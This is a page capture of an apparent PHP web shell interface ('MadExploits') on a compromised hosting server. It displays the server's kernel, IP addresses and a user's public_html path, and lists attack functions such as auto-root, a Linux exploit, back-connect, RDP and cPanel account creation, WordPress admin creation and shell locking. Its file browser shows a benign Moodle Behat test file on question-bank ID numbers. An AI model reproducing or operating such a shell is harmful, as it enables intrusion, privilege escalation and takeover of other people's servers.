Linux aries.aptans.com 4.18.0-348.20.1.lve.1.el8.x86_64 #1 SMP Wed Mar 16 08:45:39 EDT 2022 x86_64
Apache
: 135.181.142.107 | : 172.69.6.177
Cant Read [ /etc/named.conf ]
7.4.33
aja
www.github.com/MadExploits
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
CPANEL RESET
CREATE WP USER
README
+ Create Folder
+ Create File
/
home /
aja /
public_html /
ead /
question /
tests /
behat /
[ HOME SHELL ]
Name
Size
Permission
Action
behat_core_question.php
5.42
KB
-rw-r--r--
behat_question.php
4.55
KB
-rw-r--r--
behat_question_base.php
2.28
KB
-rw-r--r--
delete_question_activities.fea...
1.81
KB
-rw-r--r--
delete_questions.feature
3.38
KB
-rw-r--r--
duplicate_questions.feature
3.04
KB
-rw-r--r--
edit_question_tags.feature
2.13
KB
-rw-r--r--
edit_questions.feature
3.6
KB
-rw-r--r--
edit_questions_standard_tags.f...
1.28
KB
-rw-r--r--
filter_questions_by_tag.featur...
1.82
KB
-rw-r--r--
move_question_categories.featu...
2.42
KB
-rw-r--r--
preview_question.feature
3.77
KB
-rw-r--r--
question_categories.feature
4.61
KB
-rw-r--r--
question_categories_idnumber.f...
7.23
KB
-rw-r--r--
select_questions.feature
2.6
KB
-rw-r--r--
sort_questions.feature
3.5
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : question_categories_idnumber.feature
@core @core_question Feature: A teacher can put questions with idnumbers in categories with idnumbers in the question bank In order to organize my questions As a teacher I create and edit categories and move questions between them (now with idnumbers) Background: Given the following "users" exist: | username | firstname | lastname | email | | teacher1 | Teacher | 1 | teacher1@example.com | And the following "courses" exist: | fullname | shortname | format | | Course 1 | C1 | weeks | And the following "course enrolments" exist: | user | course | role | | teacher1 | C1 | editingteacher | And I log in as "teacher1" And I am on "Course 1" course homepage Scenario: A new question category can only be created with a unique idnumber for a context # Note need to create the top category each time. When the following "question categories" exist: | contextlevel | reference | questioncategory | name | idnumber | | Course | C1 | Top | top | | | Course | C1 | top | Used category | c1used | And I navigate to "Question bank > Categories" in current page administration And I set the following fields to these values: | Name | Sub used category | | Parent category | Used category | | Category info | Created as a test | | ID number | c1used | And I press "Add category" # Standard warning. Then I should see "This ID number is already in use" # Correction to a unique idnumber for the context. And I set the field "ID number" to "c1unused" And I press "Add category" Then I should see "Sub used category ID number c1unused (0)" And I should see "Created as a test" in the "Sub used category" "list_item" Scenario: A question category can be edited and saved without changing the idnumber When the following "question categories" exist: | contextlevel | reference | questioncategory | name | idnumber | | Course | C1 | Top | top | | | Course | C1 | top | Used category | c1used | And I navigate to "Question bank > Categories" in current page administration And I click on "Edit this category" "link" in the "Used category" "list_item" And I press "Save changes" Then I should not see "This ID number is already in use" Scenario: A question can only have a unique idnumber within a category When the following "question categories" exist: | contextlevel | reference | questioncategory | name | idnumber | | Course | C1 | Top | top | | | Course | C1 | top | Used category | c1used | And the following "questions" exist: | questioncategory | qtype | name | questiontext | idnumber | | Used category | essay | Test question 1 | Write about whatever you want | q1 | | Used category | essay | Test question 2 | Write about whatever you want | q2 | And I navigate to "Question bank > Questions" in current page administration And I choose "Edit question" action for "Test question 2" in the question bank And I set the field "ID number" to "q1" And I press "submitbutton" # This is the standard form warning reminding the user that the idnumber needs to be unique for a category. Then I should see "This ID number is already in use" Scenario: A question can be edited and saved without changing the idnumber When the following "question categories" exist: | contextlevel | reference | questioncategory | name | idnumber | | Course | C1 | Top | top | | | Course | C1 | top | Used category | c1used | And the following "questions" exist: | questioncategory | qtype | name | questiontext | idnumber | | Used category | essay | Test question 1 | Write about whatever you want | q1 | And I navigate to "Question bank > Questions" in current page administration And I choose "Edit question" action for "Test question 1" in the question bank And I press "Save changes" Then I should not see "This ID number is already in use" Scenario: Question idnumber conflicts found when saving to a different category. When the following "question categories" exist: | contextlevel | reference | questioncategory | name | | Course | C1 | Top | top | | Course | C1 | top | Category 1 | | Course | C1 | top | Category 2 | And the following "questions" exist: | questioncategory | qtype | name | questiontext | idnumber | | Category 1 | essay | Question to edit | Write about whatever you want | q1 | | Category 2 | essay | Other question | Write about whatever you want | q2 | And I navigate to "Question bank > Questions" in current page administration And I choose "Edit question" action for "Question to edit" in the question bank And I set the following fields to these values: | Use this category | 0 | | ID number | q2 | | Save in category | Category 2 | And I press "Save changes" Then I should see "This ID number is already in use" @javascript Scenario: Moving a question between categories can force a change to the idnumber And the following "question categories" exist: | contextlevel | reference | questioncategory | name | idnumber | | Course | C1 | Top | top | | | Course | C1 | top | Subcategory | c1sub | | Course | C1 | top | Used category | c1used | And the following "questions" exist: | questioncategory | qtype | name | questiontext | idnumber | | Used category | essay | Test question 1 | Write about whatever you want | q1 | | Used category | essay | Test question 2 | Write about whatever you want | q2 | | Subcategory | essay | Test question 3 | Write about whatever you want | q3 | When I navigate to "Question bank > Questions" in current page administration And I choose "Edit question" action for "Test question 3" in the question bank # The q1 idnumber is allowed for this question while it is in the Subcategory. And I set the field "ID number" to "q1" And I press "submitbutton" # Javascript is required for the next step. And I click on "Test question 3" "checkbox" in the "Test question 3" "table_row" And I set the field "Question category" to "Used category" And I press "Move to >>" And I choose "Edit question" action for "Test question 3" in the question bank # The question just moved into this category needs to have a unique idnumber, so a number is appended. Then the field "ID number" matches value "q1_1"
Close